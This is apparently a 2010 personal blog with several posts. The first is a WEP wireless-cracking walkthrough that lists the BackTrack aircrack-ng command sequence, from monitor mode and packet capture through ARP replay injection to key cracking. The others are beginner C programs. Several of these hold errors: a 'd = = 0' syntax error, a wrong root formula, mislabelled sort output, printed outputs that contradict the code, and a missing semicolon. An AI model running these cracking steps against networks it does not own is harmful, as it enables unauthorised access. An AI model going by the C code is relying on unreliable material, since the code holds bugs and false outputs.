Nov 21, 2010

BackTrack Hacking

This video shows one method of hacking a wireless WEP connection and gives you some tips on how to better secure your wireless.

WEBSITES:
http://www.backtrack-linux.org
http://www.imgburn.com

TERMINAL COMMANDS:
Startx
/etc/init.d/networking start
airmon-ng
airmon-ng stop [wireless card name]
airmon-ng start [wireless card name]
airmon-ng
airodump-ng [wireless card name]
ctrl c
airodump-ng w wep c [channel number] bssid [Bssid number] [wireless card name]
aireplay-ng -1 0 a [bssid] [wireless card name]
aireplay-ng -3 b [bssid][wireless card name]
ctrl + c
dir
aircrack-ng [filename]






Nov 18, 2010

C Program for Tower of Hanoi

#include<conio.h>
#include<iostream.h>
class tower
{
int nodisk;
char frmtwr,totwr,auxtwr;
public:
void hanoi(int,char,char,char);
};

void tower::hanoi(int nodisk,char frmtwr,char totwr,char auxtwr)
{
if (nodisk==1)
{
cout<<"\nMove disk 1 from tower "<<frmtwr<<" to tower "<<totwr;
return;
}
hanoi(nodisk-1,frmtwr,auxtwr,totwr);
cout<<"\nMove disk "<<nodisk<<" from tower "<<frmtwr<<" to tower "<<totwr;
hanoi(nodisk-1,auxtwr,totwr,frmtwr);
return;
}

void main()
{
int no;
tower ob;
clrscr();
cout<<"\n\t\t\t\t--- Tower Of Hanoi ---\n";
cout<<"\n\t\t\t--- (assuming towers X, Y & Z) ---\n";
cout<<"\n\nEnter the number of disks: ";
cin>>no;
ob.hanoi(no,'X','Y','Z');
cout<<"\n\nPress any key to continue...";
getch();
}

Nov 17, 2010

C program to arrange the given numbers in descending order



/* Write a C program to arrange the given
   numbers in descending order */


main ()
{
  int i,j,a,n,number[30];
  printf ("Enter the value of N\n");
  scanf ("%d", &n);
  printf ("Enter the numbers \n");
  for (i=0; i<n; ++i)
  scanf ("%d",&number[i]);
  for (i=0; i<n; ++i)
  {
    for (j=i+1; j<n; ++j)
      { if (number[i] < number[j])
  { a        = number[i];
   number[i] = number[j];
   number[j] = a;
  }
      }
  }
  printf ("The numbers arrenged in ascending order are given below\n");
  for (i=0; i<n; ++i)
  printf ("%10d\n",number[i]);
  }

Write the program to find the roots of quadratic equations.

 Write the program to find the roots of quadratic 
equations.






#include<stdio.h>
#include<conio.h>
#include<math.h>
void main( )
{
            int a,b,c,d;
float x,y;
printf(“Enter a,b,c”);
scanf(“%d %d %d”, &a, &b, &c);
d = b*b-4*a*c;
if(d = = 0)
{
x = -b/2*a;
printf(“Roots are same %.3f %.3f”, x, x);
}
else
{
if(d>0)
{
x = (-b+sqrt(d))/(2*a);
y = (-b-sqrt(d))/(2*a);
printf(“Roots are real %.3f %.3f”,x ,y);
}
else
printf(“Roots are imaginary”);
}
getch( );
}




Output:-
Enter a, b, c 5, 7, 8
Roots are imaginary 1.053565

C program to generate and print first N FIBONACCI numbers

This is a Program which all of the coders have written as beginners.


 /*Write a C program to generate and print first N FIBONACCI numbers*/
#include <stdio.h>
main()
{
  int   fib1=0, fib2=1, fib3, N, count=0;
  printf("Enter the value of N\n");
  scanf("%d", &N);
  printf("First %d FIBONACCI numbers are ...\n", N);
  printf("%d\n",fib1);
  printf("%d\n",fib2);
  count = 2;           /* fib1 and fib2 are already used */
  while( count < N)
  {
    fib3 = fib1 + fib2;
    count ++;
    printf("%d\n",fib3);
    fib1 = fib2;
    fib2 = fib3;
  }
}


It will Output as 

Enter the value of N
10
First 5 FIBONACCI numbers are ...
0
1
1
2
3
5
8
13
21
34

C programme to arrange the given numbers in asceding order

/* Write a C programme to arrange the given   numbers in asceding order */
main ()
{
  int i,j,a,n,number[30];
  printf ("Enter the value of N\n");
  scanf ("%d", &n);
  printf ("Enter the numbers \n");
  for (i=0; i<n; ++i)
  scanf ("%d",&number[i]);
  for (i=0; i<n; ++i)
  {
    for (j=i+1; j<n; ++j)
      { if (number[i] > number[j])
  { a= number[i];
   number[i] = number[j];
   number[j] = a;
  }
      }
  }
  printf ("The numbers arrenged in ascending order are given below\n");
  for (i=0; i<n; ++i)
  printf ("%10d\n",number[i]);
  }

C programme to accept a list of data items

So these is the first Post on this Blog and let us look at these simple c programming  Code.


/* Write a C programme to accept a list of data items & find the IInd   largest & II smallest in it & 
take average of both & search for that   value. display appropriate message on successful search.*/


main ()
{
  int i,j,a,n,counter,ave,number[30];
  printf ("Enter the value of N\n");
  scanf ("%d", &n);
  printf ("Enter the numbers \n");
  for (i=0; i<n; ++i)
  scanf ("%d",&number[i]);
  for (i=0; i<n; ++i)
  {
    for (j=i+1; j<n; ++j)
      { if (number[i] < number[j])
  { a        = number[i];
   number[i] = number[j];
   number[j] = a;
  }
      }
  }
  printf ("The numbers arrenged in ascending order are given below\n");
  for (i=0; i<n; ++i)
  printf ("%10d\n",number[i]);
  printf ("The 2nd largest number is  = %d\n", number[1]);
  printf ("The 2nd smallest number is = %d\n", number[n-2]);
  ave = (number[1] +number[n-2])/2;
  counter = 0;
  for (i=0; i<n; ++i)
   {
     if (ave==number[i])
     ++counter;
   }
  if (counter==0)
  printf ("The average of 2nd largest & 2nd smallest is not in the array\n");
  else
  printf ("The  numbers of average of 2nd largest & 2nd smallest in array is %d in 
numbers\n",counter)
}